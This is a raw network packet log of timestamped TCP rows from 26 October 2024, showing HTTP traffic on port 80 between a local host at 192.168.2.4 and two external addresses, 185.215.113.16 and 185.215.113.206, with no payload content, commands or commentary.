Oct 26, 2024 05:54:56.364593029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364597082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.364624023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364669085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.364677906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364713907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364762068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.364764929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364798069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364831924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364841938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.364866018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364893913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364928961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364953041 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.364968061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.364984989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.364996910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.365048885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.365093946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.365145922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.365174055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.365190029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.365268946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.365314007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.365320921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.365349054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.365390062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.407401085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.407483101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.407517910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.407537937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.450221062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.450268984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.450275898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.450305939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.450352907 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.464485884 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464518070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464546919 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.464560032 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.464571953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464602947 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464612961 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.464637995 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464638948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.464684963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.464695930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464731932 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464762926 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.464775085 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.464786053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464822054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464831114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.464857101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.464862108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.464898109 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.494908094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.494956017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.494992018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.495012999 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.495026112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.495063066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.495076895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.505441904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505503893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505513906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505542994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505549908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505579948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505587101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505620956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505625963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505669117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505676985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505712986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505729914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505753040 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505765915 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505801916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505810022 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505836010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505841970 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505875111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505884886 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505920887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.505934000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505970001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.505976915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506005049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.506030083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506042004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.506048918 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506077051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.506086111 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506113052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.506124020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506148100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.506155014 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506190062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506223917 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.506268978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506277084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.506310940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.506321907 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506345034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.506381035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.506381035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.525634050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.525685072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.525966883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.525998116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526031971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526043892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.526067972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526098967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526110888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.526133060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526170015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526175022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.526206970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526248932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.526324034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526377916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526411057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526448965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526468039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.526490927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.526492119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526557922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526592016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526624918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.526640892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.526660919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.568416119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.568667889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.568701029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.568728924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.611782074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.611884117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.611907959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.611922026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.611979008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.621464014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.621499062 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.621546984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.621556997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.621556997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.621604919 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.621613026 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.621649027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.621656895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.621685982 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.621690989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.621716976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.621728897 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.621762037 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.656042099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.656079054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.656114101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.656130075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.656148911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.656191111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.656203985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.672688961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.672768116 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.672772884 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.672821045 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.672827005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.672862053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.672871113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.672897100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.672904015 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.672931910 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.672944069 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.672974110 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.672990084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673024893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673043013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673058033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673078060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673093081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673104048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673130035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673141956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673166037 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673171043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673211098 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673218966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673254013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673263073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673295021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673372984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673408031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673418045 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673443079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673449993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673485994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.673486948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.673528910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.686815977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.686846018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.686867952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.686897993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.686927080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.686945915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.686978102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687011957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687021971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.687045097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687083006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.687109947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687161922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687191963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687208891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.687380075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687408924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687426090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.687444925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687539101 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.687546015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687577009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687609911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687619925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.687680960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687710047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687724113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.687743902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687796116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687824965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.687829018 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.687860966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.729754925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.729794979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.729830027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.729850054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.771049976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.772897005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.772934914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.772974014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.772994995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.773008108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.773052931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.778197050 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.778233051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.778268099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.778268099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.778284073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.778306007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.778389931 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.778423071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.778439045 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.778455973 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.778470993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.778501034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.817085981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.817197084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.817233086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.817265987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.817269087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.817301989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.817327023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.817331076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.817374945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.818725109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.818754911 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.818802118 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.818829060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.818948984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819000959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819006920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819037914 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819088936 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819088936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819123983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819133043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819133043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819173098 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819190979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819242001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819245100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819278002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819302082 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819355011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819380999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819410086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819439888 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819443941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819452047 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819495916 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819495916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819530964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819554090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819582939 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819612980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819648027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819668055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819689035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819900036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819931984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.819951057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.819972992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.820028067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.820055962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.820075989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.820090055 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.820096970 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.820137024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.820143938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.820177078 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.820193052 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.820215940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.820230007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.820262909 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.820281029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.820329905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.848227024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.848824978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.848869085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.848933935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.848987103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.848994970 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.849006891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.849021912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849056959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849064112 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.849108934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849144936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849152088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.849175930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849215984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.849227905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.849263906 CEST	80	49742	185.215.113.16	192.168.2.4
